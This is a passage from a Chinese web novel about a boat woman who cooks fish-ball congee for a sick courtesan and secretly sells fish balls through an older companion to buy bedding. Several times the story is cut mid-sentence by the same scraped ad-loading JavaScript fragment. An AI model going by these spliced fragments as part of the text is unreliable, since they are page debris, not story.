也正是因为如此,管事们才从外面请厨娘回来。 褚朝云躺的翻来覆去,勉强闭了几次眼也还是不困,期间,对门的徐香荷似是去过一趟茅房,回来时还冻得“嘶嘶哈哈”的直抽气。 褚朝云瞥一眼脚凳下剩的芦苇,起身收拾规整,抱着去敲了徐香荷的门。 徐香荷很快开门,想来是冻得无法入睡。 “喏,这些你拿去铺铺床吧,总比让身子挨着那光板强。” 徐香荷感激的接过,一个“谢”字还未脱口,褚朝云就抱着膀子回了自己住处,她也冷。 真该想办法弄床厚被子来,褚朝云窝回床上郁闷地寻思着。 - 想来今天这花船没什么大客户,褚朝云站在洗漱房里洗脸刷牙时,西码头安静的就像还在沉睡的太阳,半点声音都没有。 没生意她更高兴,这样她也少挨累,褚郁也能松快些。 褚朝云用布巾绑好头发,一出来,眼中就升起几分讶异,今个排队的船娘里,站在头前的竟然是徐香荷。 徐香荷脸颊有疤,似是有些自卑,便拽下一绺头发给盖住了,不过这绺头发也没太大用,风一吹就又露出来。 徐香荷主动朝她打招呼,像是有些惧怕似的:“朝……朝云,早。” “早。” 褚朝云自然的弯了弯嘴角,错开徐香荷去一旁准备干活了。 船尾堆着些没劈的柴火,褚朝云伸伸腰抻抻筋,然后就下仓库去挑了把趁手的斧子,一下一下用力的劈了起来。 这柴也有刁氏一份,管事们并不会因为谁上了年纪便给谁优待,至于钟管事不准大龄船娘摇橹,实则也是怕翻了船导致客人溺水。 劈好自己那份,褚朝云又抡起斧子劈刁氏的。 昨个的方脸船娘见褚朝云帮刁氏劈柴,没忍住撇了下嘴。 正要去忙自己的,大老远瞧见刁氏往这边走,就变脸似的推起一抹笑,热络的要去抢褚朝云的斧子,“朝云那,劈这么久累坏了吧?你年纪小不会使力,这剩下的活我来帮刁氏干就行了。” 褚朝云下意识躲开她伸来的手,先是怪异的看她一眼,然后就笑着拒绝了。 “还是不麻烦婶子了。” 说完,又探头往她那处瞧了瞧,笑意放大:“诶?原来婶子你的还没劈完呀?那快别管我了,赶紧忙自己的吧,早些干完好去吃午饭呢。” 方脸船娘干巴巴地应了声,表情里掺杂了几分羞赧和不满。 刁氏过来时手里也拎着把斧子,捡着剩下的几根木头劈了劈,又斜一眼旁边的方脸船娘,这才给褚朝云使了个眼色,俩人一块走了。 午饭还是各自留了一个馍。 褚朝云吃完饭往对面看了眼,对面坐的是徐香荷,孤零零 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的一个人,也正低头噎手里的干馍。 徐香荷旁边放着碗菜汤,剩的不多,想来之前已经喝进去一些了。 正坐着歇气,钟管事便迈着四方步走了过来,只是这次钟管事并非来找刁氏,而是转头往徐香荷那处去了。 说了两句话后,褚朝云便见钟管事和徐香荷都抬头看向了她。 她皱了皱眉,稍微一寻思,好像明白了什么。 果不其然,钟管事一走,徐香荷就朝她奔过来,蹲下身低声询问:“朝云,你……现在有时间吗?若是手里还有什么活,我可以帮你一起干。” “你要学摇橹?” 褚朝云道出心中猜想。 徐香荷点点头:“钟管事让我找你学。” 褚朝云小小的惊讶了下,她还以为钟管事是极看不上她的,上次带着管事在河里转圈的事她还没忘呢。 褚朝云哭笑不得:“你要是不怕挨她的骂,就尽管跟着我学吧。” 她休息够了就带徐香荷去了小船,二人一开始是在钟管事眼皮子底下学的,不过褚朝云挪腾挪腾,就把船给划远了。 她鸡贼的将小船划去芦苇丛,趁机割了不少芦苇,徐香荷知道这玩意能铺床,也帮着一块薅。 只不过褚朝云是带了割刀的,毕竟芦苇有韧性,不是很容易取。而徐香荷干活手生也不懂技巧,一味的硬拽,她一个没注意,对方就翻下河里去了。 “老天!” “徐香荷!!” 褚朝云吓了一跳,忙扔下割刀伸手去拽人。 而徐香荷却摆摆手叫她放心,并借着机会在水里游了几下,女子面上带笑,像是整个人都放松下来。 褚朝云呼出口气,坐下来看着水里的人道:“原来你会凫水啊?那你就顺便洗个澡吧,回去了要是管事问,你就说学摇橹的时候掉下河去了。” 徐香荷笑着应声,半晌说道:“朝云,你心眼子真多!” 褚朝云耸耸肩:“我哪有,不都是为了活命么。” 傍晚,赶着饭点回来的二人被钟管事狠狠剜了一眼,她和徐香荷脸皮厚的抱起芦苇就往暗仓跑,原以为钟管事懒得理他们,可等褚朝云放好芦苇回头时,钟管事正冷眼站在身后盯她。 褚朝云:“……” 褚朝云深吸口气,“咳咳……眼看天就要凉了,我这还得保重身体才能多干点活不是……” 钟管事瞥一眼她床板上厚厚的芦苇垫子,淡声道:“跟我过来。” 褚朝云做出一副老实状的跟在身后,对门的徐香荷看在眼里,便也想迈步跟上来。 她感激褚朝云的照应,又怎能叫褚朝云一个人承担责任。 褚朝云暗暗挥了下手叫她别跟,心说,这姑娘倒是个实诚人。 钟管事只迈步不言语,她也不多话,出了暗仓绕过船身一侧,褚朝云就被带进了灶房。 就在她丈二和尚正摸不着头脑时,钟管事扬扬下巴:“今儿这餐饭你给春叶做,她吐了几日什么都吃不下,能搞定她,那芦苇我便由着你们留下。” 褚朝云听后,下意识问:“要是搞不定呢?” 钟管事哼了声,不留情面道:“那这厨房,以后你也甭进了。” 瞧着人离开,褚朝云便搓了搓手,钟管事的威胁她倒没放在心上,因为昨晚上,她又有了个新点子。 钟管事这莫不是见她瞌睡来了,就送来个大枕头?! 12. 第 12 章 这个点正是晚饭的时候,见褚朝云跟着钟管事进了厨房,徐香荷还是焦急的跑了出来,并站在不远处等。 她虽才来船上不久,但此前李婆子和赵大的手段她也是见识过的,莫不是因为褚朝云偷割了芦苇,才引得管事大怒? 难不成要在厨房里训斥她吗? 会不会还要动手?! 徐香荷越想心越惊,额上的冷汗一股股滑落。 其实今个褚朝云本不用割那么多芦苇回来,昨晚还把之前用剩的给了她,可见目前是不缺的。 徐香荷想的明白却不敢擅自闯进厨房去,万一弄巧成拙,褚朝云受的惩罚更重怎么办? 她心不在焉地在那附近徘徊了会儿,就赶忙跑去领吃食,一次性领了四个馍回来,倒是没去打那馊汤水,反正她现在也吃不下。 “怎么不吃?学了一下午摇橹,不饿吗?” 身后,妇人的声音轻声传来,听腔调倒是比她沉稳。 徐香荷回头看到刁氏,忙点头应了声:“是刁婶子,我还不太饿,就先不吃了……” 徐香荷看到过褚朝云和刁氏同进同出,心知这俩人关系不错,便把刁氏当成救星一般拉到角落,将刚才发生的事情细说了一遍。 刁氏听过便笑:“你且吃你的吧,她没事的。” 这丫头鬼主意多得很。 刁氏想。 而且刁氏早就注意到了,钟管事尽管对这些船娘都淡淡的,可眉眼间不经意流露的表情,还是出卖了她的心思—— 钟管事还算是欣赏褚朝云的。 刁氏给春叶做过几次冷淘,听说对方吃了就吐,看样子这酒是彻底伤了身子了,必须得好好调养调养才是。 刁氏猜得到钟管事叫褚朝云过去的目的,又因为见识过褚朝云的手艺,倒也不那么担心。 见徐香荷还傻愣愣地站着,刁氏露出抹笑,宽慰她一句:“你若信我就踏踏实实的,她一准没什么事。” 徐香荷放了半颗心在肚子里,但还是没去啃手里的馍,只是跑回暗仓去放好吃食,顺便坐下来歇了歇。 此刻,褚朝云正坐在灶台旁的小杌子上思考。 用现世那点宿醉经验来说,酒后的人通常会觉得口渴,温热软烂的粥算是首选。可素粥无味,肉粥又太过油腻,春叶如今本就总是犯恶心,她得做些既清爽又可口的才行。 灶台旁的篮子里,鸡鸭鱼肉应有尽有,眼下是给姑娘做吃食,褚朝云倒不用为了食材烦恼。 她化了块猪油,又舀了一捧面粉备用。 这面粉的颗粒不如现世细腻,但送到花船上的食材已是上乘,闻着倒也香的很。 褚朝云闷在灶房里小半个时辰,赵大等得不耐烦便上来催促,脚下刚一迈步,紧蹙的眉头便因闻到一股从未有过的清香味儿后,顿然就舒展开了。 赵大推门,正和盖好食盒拎出来的褚朝云碰了个正着。 “哎,管事慢些,要是碰翻了我还得重做一份诶。” 她笑嘻嘻地把食盒递上去,香味也瞬间被盖子阻隔。 赵大伸手接过,对于其中所装吃食是有些好奇的,那股淡薄的余香不停充斥着鼻腔,他抿了抿唇,还是没忍住的问道:“这是做的什么?” 褚朝云依言回:“寻常热粥而已,也不知春叶姑娘能不能吃的习惯。” 赵大闻声眸色更讶,可他堂堂一届管事,什么好东西没吃到过,就连外请厨娘的手艺,他也是想吃便吃。 眼下若是急吼吼掀开食盒去看,恐被这小小船娘轻看了去。 赵大冷淡的“嗯”了声,转身出了厨房。 褚朝云做饭的那股香味几乎飘了满船,若在夜晚,大家都回了暗仓去休息也就罢了,可青天白日的,往来做工的船娘人人都是闻得到的。 有些靠坐一旁噎干馍的船娘偷偷抹了抹眼角的泪,他们已经记不得自己有多久没吃到过肉和菜了。 褚朝云掸掉烧火染上的一身灰,快步从厨房走了出来。 清早遇见的方脸船娘见状复又凑上来,趁机小声询问:“朝云,你刚刚进厨房做吃食了?谁准你进厨房的呀?是钟管事吗?” 褚朝云偏头看她,答非所问道:“婶子这是用过晚饭了?馍还剩没?可是给我饿的前胸贴后背了。” 她说着加快步伐,方脸船娘不甘不愿的跟上:“你方才做的是什么呀?我闻着好香呢。” “一点热粥,我笨手笨脚的,旁的也不会做。” 褚朝云疾步甩脱紧追不放的人,直接下了暗仓去。 身后,方脸船娘和几名船娘围聚在角落里,似是不忿的议论了几声。 褚朝云下来时正路过刁氏的隔间,见隔间内的脚凳上放着两个馍,便轻快的对刁氏眨了眨眼。 刁氏晓得她的意思,无声的摆摆手叫她赶快回去歇着。 对面,徐香荷的房门也没关,看到褚朝云回来,徐香荷忙跑过来将手里的两个馍递来,“朝云,钟管事有没有难为你?你还好吗?” 褚朝云先是摇摇头,顺手接过又瞟了眼徐香荷身后的脚凳,那里还放着两个没动过的馍。 褚朝云笑问:“这是给我拿的?多谢,那你自己的怎么还不吃啊?学摇橹颇费力气,今个下午咱俩可是挨了大累了。” 徐香荷见她似是真没什么大碍,这才松懈道:“确认不了你的状况,我也没心思吃。” 说着,就坐回还没来得及铺新芦苇的床板上,撕了小块馍塞进嘴巴里。 褚朝云看徐香荷一脸嚼蜡的呆怔表情,伸手夺过,放下道:“吃不下就别吃了,先躺会儿吧,晚点再吃。” 徐香荷讶然,片刻便顺从的躺了下去。 那晚的鱼肉夹馍的确是超乎了她想象的美味,可那时是钟管事叫褚朝云看顾她,她才能吃得到。此刻已能正常劳作,徐香荷当然不敢奢望褚朝云会继续“特殊”照顾她。 她是馋,但却不贪。 褚朝云嫌风大,回了隔间就把门给关上了。 今晚还有些姑娘们的衣裳要洗,褚朝云出来时见刁氏忍着痛的在揉腿,便抬手“嘘”了声,而后,打着手势自顾自的上去了。 对她来说,一盆衣裳还是两盆衣裳区别不大,褚朝云坐到船尾背风的地方,开始一下一下的揉搓它们。 姑娘的衣裳料薄,质地轻软,洗起来倒也不费事。 褚朝云边洗边时不时的抬头看上方雅间,偶有乐声飘来清明悦耳,连 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 带着,她的心情都跟着好了不少。 靠着花船最近的一条小船上,徐香荷也没闲着,按照褚朝云教过的步骤,徐香荷一下一下的撑着橹。偶尔船打转,边沿撞得花船“咚”一声响,码头处的赵大便狠狠瞪过来两眼。 徐香荷心惊肉跳的将小船划开些,又继续埋头苦练。 衣裳洗好后,褚朝云和练完上船的徐香荷一同晾晒好,然后一起回了暗仓里。 …… 今夜,褚朝云下河并没带自制的渔网,她只是在近处撅了些香蒲回来,取下嫩茎焯水后切段备用。 加上刁氏和徐香荷的,虽然攒了六个馍,可褚朝云今天不打算做肉夹馍吃了。褚朝云将馍馍切成片,化少许猪油下锅煎,煎的焦脆便盛出一盘。 又借着剩下那点油把香蒲茎炒了炒,添水想要做一锅热汤。 褚朝云扒门瞧了眼四下无人,这才把藏在篮子最底部的一点鱼丸给取了出来。 没错。 她今日给春叶做的,正是碗热乎乎的鱼丸粥。 听刁氏讲这蕤洲美食,褚朝云便得知,蕤洲人吃鱼,要么清蒸要么红烧,似乎也发明不出什么新鲜方法,所以这鱼丸更是听都没听过的。 给春叶做的鱼丸里,褚朝云不但加了少量猪油,还裹了些野菜碎,油香里混着青草的嫩,嚼起来也是弹牙爽滑。 可若没有厨房提供的面粉,单是鱼肉她也做不成功。 褚朝云偷留下来些,也是想给刁氏尝尝,看看她这鱼丸做的符不符合蕤洲百姓的口味。 加了鱼丸的菜汤顿时多出不一样的鲜美,褚朝云把汤碗扣上盖子,又用干净的布帘蒙上煎馍,飞快进了刁氏的隔间。 放下饭菜,褚朝云去里间叫了徐香荷来,徐香荷没等进门便先咽足了口水,肚子里着实饿的空落落的。 三人开着窄窗,借着月光围坐一块吃馍喝汤。 一口鲜汤下肚,褚朝云激动的简直要跳起来,“也不知这没小刺的鱼叫什么?吃着可真是鲜嫩啊!” 刁氏毕竟是本土人,对吃食尚算了解,她吃掉一颗鱼丸后道:“我们当地人叫它笋壳鱼,这种野生的笋壳鱼蕤河中有不少,厨房里提供的大多也是这个,有些渔民也会捞来卖,倒不算什么稀罕物。” 徐香荷听了两句,跟着道:“笋壳鱼我们家乡也吃,虽不算是蕤洲特产,但这做法确实是稀奇了!” 刁氏:“可不是,圆咕隆咚的,一咬还在嘴巴里弹,”说着,伸手指指褚朝云,然后看回徐香荷:“她还说她手艺不精,不精还能研究出这些古里古怪的东西来?” 褚朝云吐吐舌头,心说,这还真不是她发明出来的。 褚朝云吃饱了饭,放下碗,面带期许:“怎么样?除了吃个新鲜,你们觉得这味道馋不馋人?” 刁氏听得发笑:“你要怎么个馋人法?” 褚朝云认真应道:“大概就是……吃了还想吃,馋哭隔壁小孩的那种?” 刁氏和徐香荷互看一眼,都忍不住掩嘴笑:“你这形容倒还真贴切,若能拿到集子上去卖,怕不是真要馋哭孩童们了。” 卖? 说者无意听者有心,褚朝云弯起眼眸一笑,内心又打起了小算盘。 13. 第 13 章 一早,褚朝云正拎着桶水在船檐边东擦擦西擦擦,从院子处过来的钟管事便直接上来寻她。 “嗯,差事做的不错,昨个春叶吃过倒还真没再吐了。” 钟管事瞥她一眼,神色淡淡道。 褚朝云明白,钟管事这次是彻底默许了她能随意进厨房这件事。 她收好布巾,沾了水的双手在下衬的位置蹭两下,蹭掉水珠,抬头问:“那春叶姑娘现下好些了吗?” 钟管事视线扫过来,瞧见褚朝云冻红的手背,似笑非笑道:“眼下这境况,还有心思关心旁人?” 褚朝云没应声,一低头,又自顾自的去干活了。 早饭后,姑娘们一个挨着一个的上了船,远远瞧着,一身碧色的春叶正走在队尾。几日不见,春叶眉眼间的憔悴依稀还能瞧见,显然是难受了多日造成的。 李婆子跟着上来,杵在边上和钟管事闲聊。 按照花船的规定,做工的船娘和雅间的姑娘是不可以私自接触的,所以在管事们的眼皮子底下,他们也不敢随意搭茬聊天。 褚朝云忙着干自己的活,直到春叶走的近了,她才条件反射的看去一眼。 这一眼顷刻间,但褚朝云却捕捉到了春叶眼底的笑意。 看来,春叶姑娘很喜欢她做的鱼丸粥。 褚朝云难免欣慰。 …… 那日之后,春叶的病就好了,但鱼丸只算一半不到的功劳,春叶用自己攒的打赏请了大夫回来,悉心调养几日,这才恢复了状态。 而褚朝云这边却过得不那么松快,这天越来越冷,即便身下有芦苇垫子隔着,可始终还是缺了一床厚被子。 褚朝云有几天早上醒来时,四肢被冻得僵硬麻木,险些不过血了,她唯有多干些活来让自己变得热乎些。 等了多日,管事才过来给刁氏派任务,叫刁氏给姑娘做点吃食送去。 褚朝云喝着厨房偷烧来的热水,听着床榻上的刁氏低声说:“明个我亲自去一趟,不叫赵大跑腿了。” 褚朝云知道,刁氏是见自己冻得整日发抖,实在看不过眼,这才打算下船去想想法子。 可刁氏也穷,一床厚被子的价格不低,她手里那点钱根本买不起。 褚朝云思来想去,喝了口热水开口道:“有件事我得跟您讲,上次给春叶姑娘做鱼丸粥,我其实是藏了私心的。” 刁氏心中有数,压着声:“你尽管说。” 褚朝云把小窗放下一点,声音更轻:“眼看冬天近了,如今这一早一晚冷的刺骨,即便月银发下来,十文钱也干不成什么。我倒是有个打算,只怕是得辛苦您。” 刁氏搓着小腿,摇摇头:“什么辛苦不辛苦的,船娘活的本就艰辛,想法子把日子过顺畅些才是真的。” 褚朝云来得晚,对于船上的事见得不多。 可她不同。 那些病死、冻死的船娘们,最终是个什么凄惨下场,刁氏想想便觉心酸。 见刁氏这样讲,褚朝云才低声说出心中盘算:“我做的那鱼丸您和香荷吃着好,连吃惯厨娘手艺的春叶姑娘也觉不错,我想着,不如一次性多做些,婶子下船时将鱼丸带出去卖卖试试?” 刁氏细想了想道:“主意听着是可行,不过鱼丸是新鲜玩意,怕只怕是太过新鲜,大家不认。” 褚朝云笑:“他们要是愿意,试吃几个也无妨!只要认可这口味,哪怕只有一家需要,咱们也是能赚到的。” 说罢,又补一句:“凡事积少成多嘛!” 刁氏也跟着笑:“你倒是乐观。” 二人说定之后,翌日一早,褚朝云便进厨房开始忙活了。 通常厨娘来的都晚些,此刻正赶上船娘们用早饭,褚朝云没顾上吃,她赶着给炉灶添柴烧火,又将切好的鱼碎用梅子汁腌制了下。 因为打算要卖鱼丸,褚朝云昨晚下河时多捞了几条笋壳鱼回来,和厨房里原有的那些鱼放在一起,也没谁会去注意。 腌好的鱼肉同面粉、盐和猪油一起搅拌浓稠,锅子里烧上水,褚朝云便开始搓鱼丸,然后一个一个的把它们放进水中。 搓鱼丸是有技巧的,需要用虎口去挤才够圆润。 褚朝云第一次做鱼丸时,挤出来的形状千奇百怪,虽不影响吃,可还是欠缺些美观。 这次再做,明显好了许多。 再加上是要卖,她也就格外用心了些。 煮好的鱼丸偏轻,一颗颗浮在水面上散发着清香,褚朝云捡出它们过了遍冷水,这也是为何鱼丸吃起来爽滑弹牙的诀窍。 褚朝云先将一部分成品鱼丸放到食盒下层,然后开始烧水煮粥,粥里加些青菜碎,又放入几颗白嫩嫩的鱼丸,没多久,鱼丸粥便熬好了。 简单收拾了一下厨房,她就提着食盒出来交给了刁氏。 “婶子路上慢点。” 她和刁氏对上一眼,后者轻拍她手背,隐晦的点了下头。 身旁船娘往来做工,管事们也都是自顾自的忙着,食盒盖得严严实实,按部就班的日子没有一点新意,他们的举动也提不起旁人半分兴致。 望着刁氏下船的背影,又见妇人腿脚不甚灵便,褚朝云内心也是轻叹了口气。 没办法中的办法,否则,这一堆鱼丸又要托谁去卖呢。 褚朝云佯作无事的接着去干活,刁氏也下了艞板去往姑娘们的住所。 姑娘们住的院子和蕤河中间隔着几条小巷,还有一条长街,平日里,蕤洲的小摊贩都在这条街上叫卖,除了些散摊,一路上也能瞧见几家固定的饭馆和酒肆。 刁氏拎着食盒左顾右盼,远离了赵大的视线后,便悄悄进了一家面食铺子。 这家面食铺子日常只卖些扁食和冷淘,生意说不上清淡,但也勉强能维持生计。 刁氏之所以选择他家,主要因为她每每下船想要改善伙食,来的也都是这一家。即便和老板算不上多熟识,总也是个脸熟的。 此刻尚早,铺子里没什么人,连支在门口的露天棚子里,也没见到几个吃饭的客人。 老板遥遥靠在门旁,一眼瞄见刁氏,就笑着迎出来:“多日不见了刁娘子,新做的扁食马上便能出锅,要不要来一份?这天可真是凉啊。” 老板说着呼出口白气,抱着膀子直晃荡,显然也是冻得紧了。 “今个就不吃了。” 刁氏头一次 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 干这事,一张口,便拘谨上了。 老板不解的看着她,做不成生意也是能闲聊两句的,便笑道:“那刁娘子这是……” 刁氏往角落凑凑,一脸的不自在,她小心翼翼掀开食盒,直接打开下层,露出装着的一盘子鱼丸,生疏问道:“老板,自家做的鱼丸需要不需要?便宜卖给你。” 老板闻声怔了下,和她面面相觑好一会儿才道:“卖、卖给我?” “是,买了下到汤水中,或者用猪油炸了吃,味道都是顶顶好的。” 刁氏按照褚朝云教她的,一板一眼和老板讲。 老板见盘子里一颗颗圆滚滚的小白胖子,虽心中好奇,但却没有要买的意思。他那些带汤水的食物里,加的就是寻常野菜,一碗也卖不上几个钱,没必要额外在放什么。 何况这东西,他根本就不认得。 见老板面露为难,想来是怕得罪客人不好直接拒绝,刁氏点点头,盖上盖子便准备走。 一路上又问了两家茶摊和一间酒肆,老板们都是客气的谢绝了她,刁氏怕粥凉了,只好先去院子。 刁氏一敲开院门,就有人带着她去了姑娘的房间。 等人离开,那姑娘便急切的取了木勺过来,“前些天,春叶姐姐吃了送来的粥后跟我们好一顿夸赞,原以为是婶子你做的,后来打听了才知,原来是朝云姑娘的手艺!” 姑娘给刁氏搬了张凳子叫她坐着歇会儿,便低着头用木勺搅和碗里的鱼丸粥。 房间不大,再加上天凉了门窗都关着,鱼丸粥的香味随着搅动顿时填满了整间屋子,连刁氏都有点馋了。 她过来之前是有吃过早饭的,且最近每日夜里,褚朝云也会想法子做些好吃的来跟她同吃。 按理说,刁氏已经解了馋。 可眼下看着姑娘一勺一勺的挖粥吃,那口水却是怎么都分泌不完。 姑娘吃饭的速度不快,似是有些舍不得吃光,吃几口便开口问她:“婶子,朝云姑娘之后还能给咱们做粥吗?” “能做的。” 刁氏回应。 “那敢情好!” 姑娘笑着说完,又接着吃了起来。 鱼丸没卖出去,今晚褚朝云还得受冻,刁氏心中不痛快,没待一会儿就起身离开了。 出来已接近午时,刚刚去过的那家铺子客人也多了起来,老板热火朝天的忙碌着,摊子小,也没顾什么帮工,全靠他一个人折腾。 走到面食铺子门前,刁氏停下脚步。 想到昨晚褚朝云叮嘱她的话,心中犹豫不决。 “婶子,若这鱼丸卖不出去,您就寻一处饭馆点一碗热乎的扁食来,最好别坐露天棚子,扁食上来了,放几颗鱼丸进去慢慢的吃,或许这生意就能行了。” 刁氏起先听了褚朝云的话并没过心,直到刚才在院子里见那姑娘吃…… 老板从热气蒸腾的锅子后抬起眼,笑着看她:“刁娘子这是逛完回来啦?要来一碗扁食暖暖身子吗?” 刁氏二话不说应道:“来一碗吧,汤多些,我进屋去吃。” 老板抹掉被热雾熏出的水汽,笑答:“好好,您进屋稍作会儿,扁食马上就来!” 14. 第 14 章 刁氏绕开门口的空桌,故意挑了客人聚堆的位置坐。 小铺子店面不大,总共算起来也就六张桌子,现下三张坐满了人。起早寒凉,这会儿大家伙一人捧着一碗热腾腾地扁食,吃的正热火朝天。 坐在他们身前的刁氏一手抱着食盒,另一只手抬起掖好掉落的华发,也不知怎么,心里那股紧张劲儿就是消不下去。 没一会儿,老板端着碗扁食进门,笑盈盈地朝她走来了。 扁食就是白水煮的,碗面飘着几片翠绿的香葱,因为是素馅的吃食,碗边一圈也没挂什么油腥。 “您的这碗,五文。” 老板将布巾往肩侧一甩,冲刁氏笑着点点头。 昨晚褚朝云是有跟刁氏商量过鱼丸的定价的,妇人思量片刻,取出银钱递去后,问道:“素的五文,那带肉的是多少钱一碗?” 她从前过来买,就只要一份素馅扁食,因为带肉的肯定要贵些,刁氏总不可能花上一个月的月例来解馋,所以也没问过价。 可眼下还惦记着那些鱼丸,她必定得留心些。 老板往门外瞧去,见这会儿没什么客了,也不忙着走,态度依旧和善道:“带肉的是八文,放的是猪肉。” 老板解释的细致,刁氏也懂其中的道理。 大祁朝羊肉珍贵无比,牛肉次之,猪肉最次。而这不过是蕤河上的一间普通面食铺子,对方自然用不起牛肉和羊肉。 刁氏“嗯”过一声,低头打开食盒,将放在盘中的鱼丸夹出一颗,想了想,又多夹一颗出来放入碗中,而后重新盖上盖子,也学着院子里那姑娘的样子,用木勺在汤水中搅和几下。 毕竟是要卖的,她舍不得吃太多。 老板见状有些哭笑不得,但没说什么,只是眼中多了几分笑意。 可不过片刻,老板就笑不出来了。 他常年做扁食来卖,素馅扁食的味道不用尝也烂熟于心,可这刁氏随便加了点“料”,那份扁食就像变戏法似的,闻着竟是比从前香上数倍。 老板用的馅料就是寻常的萝卜和豆腐,如今汤里多了那白胖的小团子,结合出来的鱼蔬味儿里,还飘出些猪油的香气。 惊奇之下,老板就那么发愣的看着刁氏吃掉一颗鱼丸,随即,还止不住的咽了下口水。 而这一举动,不仅看傻了店老板,就连身后闻到香味的客人们,也三言五语的询问起来。 “什么馅儿的扁食啊,怎么这么香?” “诶,怎么好像还有鱼肉的味道?” 几名客人越说越好奇,刁氏便趁机抬头看向老板,目光里颇有“你要不买,我就卖给他们了”的意思。 老板皱皱眉,复又松开,见客人们说话间已经站起身,似是想要探头往刁氏碗里瞧,他也顾不上规矩不规矩了,情急之下拉起刁氏就往门外走。 看到刁氏不忘把食盒也拎出来,老板才尴尬道:“刁娘子,您刚刚吃的那个……鱼丸,可否给我尝一尝?您也知道我这是小本生意,实在出不得丁点差错,若是合口味,我立刻全部买下!” 褚朝云说过可以试吃,刁氏便痛快的答应了。 灶台就被安在铺子门前,此刻大铁锅里还剩些面汤,柴火尚未烧完,面汤“咕嘟咕嘟”冒着热乎气。 老板热切的取来双筷子,又盛一口汤,干嚼半颗,剩下半颗扔进汤里泡着吃,品的甚是仔细。 食物进口,刚刚闻到的那股香味再度袭来,就连到了肚里也依旧满口留香。 老板忍不住狠狠赞许一声:“刁娘子,你好手艺啊!” 刁氏忙摆手,不抢功劳道:“不是我做的,是……家里孩子做的。” 提起“孩子”二字,妇人不免心中伤感。 她出来许久,不能继续耽误工夫,便直言道:“刘老板,您若是想买这鱼丸,我家姑娘说了,一文钱两个卖您,这里刚好是十文……哟,我忘记少了三颗,那就只卖您八文的吧。” 老板名唤“刘新才”,街里街坊的都唤他刘老板。 刘新才毕竟在做吃食上有些经验,如今知晓这鱼丸空口或是下汤都甚是美味,当然心甘情愿的掏钱。他取出九文,递上来道:“不打紧不打紧,日后还要常来常往的。” 刘新才是个会做生意的。 刁氏接钱时手有些颤,忙又拜托刘老板帮她把那碗扁食也装起来。 盛鱼丸的盘子被空出来,刁氏喝干净碗里的汤,将一口未动的扁食和剩下的一颗鱼丸都装进了盘子里。 道别刘新才前,她还特地询问了一句,因褚朝云想做的是长期营生,最好是能有固定收鱼丸的地方,但刘新才也谨慎,他只道“若日后卖的好,自然一直都需要”。 说完,又跟刁氏预定了三十个,刘新才想拿些回家给妻儿老小都尝个鲜。 刁氏拿着赚来的九文钱进了家布匹铺子,想买被子这点钱是不成,但可以先买张被单回去,日后有钱,往被单里再絮些棉花就是了。 一来二去看下来,就连质量最下乘的被单也要十文,刁氏帮褚朝云添了一文,买下藏到食盒里带回了船上。 回来刚好赶上放饭,午时的日头烤的人后背发烫,可照不到的那一面,又阴冷的渗骨。 褚朝云抡着斧头劈柴,用足了力气,身上也跟着暖和了一点。 刁氏看她忙就没吭声,独自走去木桶边拿了四个馍馍,正巧徐香荷也拿了四个,二人对视一眼,都不自觉的笑起来。 管饭的工人是赵大手下,瞥他们一眼冷声质问:“给谁领?” 每人每顿最多两个馍,这工人日日都来,心中其实知晓他们是给褚朝云拿的。 徐香荷胆子小,被吼得立刻就放回去了两个。 工人眼珠子转悠一圈,翻了她一眼后便不再说什么了。 徐香荷今日又练了一上午摇橹,听说下午钟管事会来考核,她一个上午都没怎么定神,心中七上八下,也想趁着午时和褚朝云说说话。 徐香荷和刁氏走去船尾,褚朝云朝他们摆摆手示意他们先去休息,二人就一同下了木梯。 徐香荷索性进了刁氏隔间坐着等,刁氏将食盒搁在边上,看一眼她面颊留下的几条疤痕,叹道:“那工人不过就是个送饭食的,你不必怕他,该拿多少拿多少便是。” 徐香荷窘迫的应了声。 刁氏歇口气又说:“朝云和我说过你的事,你这丫头那日连墙都敢去撞,怎么上了船反倒胆小起来。” 徐香荷唯诺两声,才红 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着脸道:“我那日……是装的,而且,我也不想继母得逞!” 正说着话,褚朝云就满头大汗的跑了下来,便跟着听了一耳朵。 徐香荷祖父生前给独子留下些田产,虽然不多,但比起旁人,生活上也是富足的。徐老爷是个地道的败家子,正房太太身子不好,前脚刚被气过世,后脚他就从外面又娶了一位回来。 继母进门,日日寻机数落徐香荷,徐香荷在她手底下讨生活日子不免过的艰辛。 本想着还有些生母留下的银钱傍身,哪知继母贪得无厌,趁着徐老爷外出,抢了她的银钱,还将她给打晕了。 之后再醒来,就和褚朝云他们一同被关在小院里。 徐香荷说话间眼圈泛红,近乎哽咽:“我原想着撞墙装死,或许李婆子怕摊上事,便能把我丢去乱坟岗子不管了,可没成想力气用的过大,这下连脸都——” 她伸手摸了摸面颊,表情又悔又恨。 褚朝云听得一阵恼火,可现下又无可奈何,便拍拍她的肩道:“你的疤不深,长几年会好的,实在不成到时候在想些办法。” “好……我也知道此事急不得。” 褚朝云眯起眼,又道:“徐香荷,你一定得好好活着,若哪日逃出生天杀回去,才好痛快的报仇不是?” “嗯,朝云你说得对!!” 徐香荷这次的回应,比方才还要坚定。 旁的事聊完,刁氏便从食盒里拿出被单,将此前一行的来龙去脉讲了一遍。 刁氏抻开被单抖了抖:“先将就着盖几日,待姑娘们再要你做吃食,我就能得了机会去找刘新才,换回银钱,好把棉花给你买回来。” 给姑娘们做吃食通常都是特殊情况,鱼丸馋人,但即便姑娘们想吃,也不敢日日都和管事提。 这一点,刁氏心中是明了的。 而布料手感虽说糙了点,褚朝云还是很知足,毕竟这已经是来之不易了。 她想的很开,眼下就算没有棉花,那不还有一堆新割回来的芦苇么。 回头把芦苇都絮进去,也能当被子盖。 褚朝云叠好被单,看向刁氏:“婶子,下次卖给刘新才鱼丸后,您只给我五文便好,这次真的辛苦您了。” 刁氏掰着指头算不明白账,遂问道:“为何?刘新才不是跟你预定了三十个鱼丸么,你一文卖两个,三十个……那就有十五文呢。” 褚朝云踌躇半刻,还是决定得“先小人后君子”,免得日后大家有什么冲突,平白的坏了感情。 